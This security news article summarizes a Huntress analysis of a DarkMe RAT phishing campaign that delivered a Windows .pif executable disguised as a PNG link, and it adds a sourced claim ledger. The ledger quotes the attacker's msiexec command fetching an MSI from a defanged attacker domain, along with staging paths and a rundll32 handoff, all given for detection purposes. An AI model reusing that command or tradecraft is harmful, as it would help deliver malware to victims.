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Security Independently confirmed2 publishers 3 min read Published

DarkMe's operators swapped two zero-days for a .pif file Windows executes on a double-click

Huntress found the same one-megabyte PIF in two customer environments, pulled down by a link that promised a PNG. Everything after it is the 2024 DarkMe chain, down to the rundll32 /sta GUID from that campaign.

The Watch · Security desk

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What happened

  • A phishing email linked to image.png on readonline365, but the webserver returned image.pif, a Windows executable, when the target clicked.
  • Huntress saw the identical one-megabyte PE32+ file land in two customer environments, where users double-clicked it without realising it was a program.
  • The PIF did one thing: it called msiexec to pull propi.msi from onlineview365 over HTTPS with /quiet and /norestart.
  • The final stage starts with rundll32.exe /sta on the same GUID Huntress observed in the 2024 campaign, a string the company recommends for detection and hunting.

Why it matters

  • What it limits constraint The user has nothing to inspect: the properties sheet calls the file a shortcut to an MS-DOS program, so the block has to come at the mail gateway or from msiexec's behaviour on the host.
  • Who has to decide decision Teams that cannot filter .pif have a second gate available, since Huntress says an MSI fetched over HTTPS with /quiet from the root of an empty domain is rare in most environments.
  • Who's exposed exposure Brandt puts children in scope alongside corporate users, with Robux and game registration keys as loot, so home machines reached by the same malspam are targets.
  • What doesn't add up contradiction Trend Micro and SonicWall tied this malware to Water Hydra, while Huntress cannot confirm who ran this campaign and points to Spanish localisation in the compiled DLLs, so the 2024 chain supports detection without supporting a name.

Renamed with an .exe extension, the file's Details tab showed forged metadata implying it was a component of a security product called Aegis Sentinel, which it has nothing to do with [18]. As delivered, its properties sheet described it as a "Shortcut to MS-DOS program" [8]. Huntress states the behaviour plainly: "Modern Windows systems execute .pif files as a program, regardless of what the extension implies (or what the icon shows)" [7]. "The users simply double-clicked and downloaded the file, not realising what it was," the company wrote [6].

Before DarkMe deploys, a loader chain inventories installed software: Slack, Discord, Zoom, WhatsApp, password managers, trading terminals, online poker clients, crypto wallets, VPN clients, game launchers, Spotify, browsers, PDF readers and OEM peripheral support utilities [25]. "Execution stops when none of the 329 are found. This is not a target list; it is an inverted sandbox check," the Huntress analysts wrote [26]. The peripheral utilities explain the logic: "Gaming-mouse configuration utilities and RGB lighting daemons hold nothing of value, but they do prove that a human being uses this computer," they wrote [27].

The MSI the PIF fetched was built with the exemsi MSI Wrapper, version 11.0.53.0, packaged under the cover name "PrinterFind Softwares", with a creation date of January 11, 2024 [21]. That date falls inside the late 2023 and early 2024 window when Water Hydra was running CVE-2024-21412, the Defender SmartScreen bypass staged over a WebDAV share [17][33]. The installer expands files.cab into %AppData%\ComponentsFolder\ and runs prnfig.wsf [22]. The script copies clspack.exe on its own into %AppData%\Microsoft\, staging the hollowing target [23]. It then rewrites a registry template, imports it, and hands off with rundll32 /sta [24]. Persistence comes from registry values, and the final payload is DarkMe, a Visual Basic 6 RAT and infostealer that goes after crypto wallets and can take screenshots [28][1].

Andrew Brandt, Principal Threat Intelligence Incident Commander at Huntress, told Help Net Security the company cannot confirm that Water Hydra, also called DarkCasino, ran this campaign [10]. "We do have some clues about the malware's possible origins. For example, the Spanish localization property in the compiled DLLs suggests that the developer may be a Spanish national or living in Spain," he said [11]. On motive, he said the activity "appears to be financially driven, though the actors also seem willing to target children for things like Roblox Robux or Steam and Epic Games registration keys" [29]. Huntress does not know whether DarkMe is sold as a service [12].

Two zero-days preceded this tradecraft: CVE-2023-38831, the WinRAR extension-spoofing flaw Water Hydra weaponised in 2023 against trading forums, and CVE-2024-21412 [16][17]. This campaign used neither, and no exploit at all [3][31]. "In 2026, users are still clicking links in unsolicited emails. As long as these old-school phishing tactics keep working, adversaries have no reason to burn expensive exploits," Brandt and colleague James Northey wrote [13]. The write-ups do not address whether either affected environment's mail or endpoint policy blocked .pif [32]. Huntress published indicators of compromise with containment and cleanup guidance [30].

What to watch

  • Whether Huntress or another vendor links this PIF delivery to Water Hydra infrastructure, not just to shared code.
  • Whether DarkMe turns up in campaigns run by unrelated crews, which would answer the as-a-service question.
  • Whether the operator rotates off .pif to another legacy executable extension once gateways start blocking it.

Clarity's read

What the record supports and how the coverage leans. The claims behind it follow.

Reality

Evidence72
Adoption22
Hype gap+14
Incentives66
Confidence68
Why these scores

Claim ledger

Ranked by verification strength, evidence, and original report placement.

  1. [1]

    DarkMe is a Visual Basic 6 RAT and infostealer that goes after crypto-wallets and can take screenshots.

    Reported SupportedView cited source
  2. [2]

    DarkMe was first observed in September 2021 and publicly documented a year later by NSFOCUS under "Operation DarkCasino", attributed to a group called EvilNum.

    Reported SupportedView cited source
  3. [3]

    In the new campaign there is no exploit at all; a Huntress hunting rule picked up odd activity around a program information file (PIF) launching Windows Installer.

    Reported SupportedView cited source
  4. [4]

    The link in the phishing email pointed to https://readonline365[.]com/view/image.png, a URL for a graphics file, but the webserver delivered image.pif, a Windows executable.

    Reported SupportedView cited source
  5. [5]

    The same, identical file, a 1 MB PE32+ binary, was delivered to two Huntress customer environments.

    Reported SupportedView cited source
  6. [6]

    "The users simply double-clicked and downloaded the file, not realising what it was."

    Reported Supported Source: HuntressView cited source
  7. [7]

    "Modern Windows systems execute .pif files as a program, regardless of what the extension implies (or what the icon shows)."

    Reported Supported Source: HuntressView cited source
  8. [8]

    The file's Properties sheet describes it as a "Shortcut to MS-DOS program" but the file is itself an executable.

    Reported SupportedView cited source
  9. [9]

    "The command that initiates the final stage of infection, rundll32.exe /sta {CFDC57BA-1705-45AF-BA10-EFC3D592982B}, was observed in the 2024 campaign, and is a great signature to detect or hunt on"

    Reported Supported Source: Huntress analystsView cited source
  10. [10]

    Andrew Brandt, Principal Threat Intelligence Incident Commander at Huntress, told Help Net Security that the company cannot confirm this attack was carried out by Water Hydra, also known as DarkCasino, the group associated with the 2024 attacks documented by Trend Micro and SonicWall.

    Reported SupportedView cited source
  11. [11]

    "We do have some clues about the malware's possible origins. For example, the Spanish localization property in the compiled DLLs suggests that the developer may be a Spanish national or living in Spain."

    Reported Supported Source: Andrew Brandt, HuntressView cited source
  12. [12]

    Huntress said that at this point it does not know whether DarkMe is being offered as-a-service to cybercriminals willing to pay for it.

    Reported SupportedView cited source
  13. [13]

    "We are watching threat actors pivot from highly skilled, targeted intrusions toward high-volume, low-effort attacks and the results speak for themselves. In 2026, users are still clicking links in unsolicited emails. As long as these old-school phishing tactics keep working, adversaries have no reason to burn expensive exploits."

    Reported Supported Source: Andrew Brandt and James Northey, HuntressView cited source
  14. [14]

    Help Net Security reports that the shift in targeting from niche forex traders to everyday corporate users is apparent.

    Reported SupportedView cited source
  15. [15]

    Researchers at Trend Micro and SonicWall have tied the DarkMe malware, with the usual attribution caveats, to Water Hydra, an APT group whose campaigns are typically financially motivated and target forex traders, stock-trading forums, online gambling platforms and cryptocurrency users.

    Reported SupportedView cited source
  16. [16]

    In 2023, Water Hydra weaponised the WinRAR extension-spoofing flaw CVE-2023-38831 as a zero day, dropping malicious archives on trading forums.

    Reported SupportedView cited source
  17. [17]

    In late 2023 and early 2024, Water Hydra pivoted to CVE-2024-21412, a Defender SmartScreen bypass built on a shortcut that points to another shortcut, staged over a WebDAV share behind a crafted Explorer view.

    Reported SupportedView cited source
  18. [18]

    When renamed with a .exe extension, the Details tab on the file's Properties sheet reveals previously concealed forged information implying the file is a component of a security product called Aegis Sentinel, but it is unrelated to that product.

    Reported SupportedView cited source
  19. [19]

    The PIF's only job is to invoke msiexec to download and execute an .msi file from an attacker-registered address, using the command msiexec /i https://onlineview365[.]com/propi.msi /quiet /norestart.

    Reported SupportedView cited source
  20. [20]

    Huntress says fetching a remote MSI over HTTPS with /quiet is rare in most environments, because legitimate installers almost never live in the root of an otherwise empty domain.

    Reported SupportedView cited source
  21. [21]

    The MSI's metadata identifies it as built with the exemsi "MSI Wrapper" (version 11.0.53.0), packaged under the cover name "PrinterFind Softwares", with a creation date of January 11, 2024.

    Reported SupportedView cited source
  22. [22]

    EXPAND.EXE -R files.cab drops the components into %AppData%\ComponentsFolder\ and the installer executes prnfig.wsf.

    Reported SupportedView cited source
  23. [23]

    The staging script prnfig.wsf copies every dropped file into %AppData%\ComponentsFolder\ and copies only clspack.exe into %AppData%\Microsoft\, staging the hollowing target.

    Reported SupportedView cited source
  24. [24]

    The staging script performs a registry-template rewrite, then a reg import plus rundll32 /sta handoff.

    Reported SupportedView cited source
  25. [25]

    A final chain of loaders tests the system for the presence of many applications, including Slack and Discord, Zoom and WhatsApp, password managers, trading terminals, online poker clients, cryptowallets, VPN clients, game launchers, Spotify, browsers, PDF readers, and OEM and peripheral support utilities.

    Reported SupportedView cited source
  26. [26]

    "Execution stops when none of the 329 are found. This is not a target list; it is an inverted sandbox check."

    Reported Supported Source: Huntress analystsView cited source
  27. [27]

    "Gaming-mouse configuration utilities and RGB lighting daemons hold nothing of value, but they do prove that a human being uses this computer."

    Reported Supported Source: Huntress analystsView cited source
  28. [28]

    The chain then creates registry values to assure persistence, profiles the system, performs process hollowing and delivers the final DarkMe payload.

    Reported SupportedView cited source
  29. [29]

    "As for motivation, the activity appears to be financially driven, though the actors also seem willing to target children for things like Roblox Robux or Steam and Epic Games registration keys."

    Reported Supported Source: Andrew Brandt, HuntressView cited source
  30. [30]

    Huntress shared indicators of compromise associated with this campaign and advised on how to catch the infection, contain it and clean it.

    Reported SupportedView cited source
  31. [31]

    Two documented zero-days, CVE-2023-38831 and CVE-2024-21412, preceded a DarkMe campaign that used no exploit.

    Derived Supported
  32. [32]

    Neither the Huntress write-up nor the Help Net Security report states whether .pif was blocked by mail or endpoint policy in the two affected environments.

    Derived Supported
  33. [33]

    The MSI wrapper's creation date of January 11, 2024 falls inside the late 2023 to early 2024 window in which Water Hydra used CVE-2024-21412.

    Derived Supported

Sources

2 independent publishers whose own reporting we read for this story.

  1. helpnetsecurity.com

    1 article · September 23, 2026

    DarkMe RAT trades zero-days for plain phishing emails
  2. huntress.com

    1 article · September 22, 2026

    DarkMe RAT: A VB6 APT Trojan Turned Conventional Infostealer

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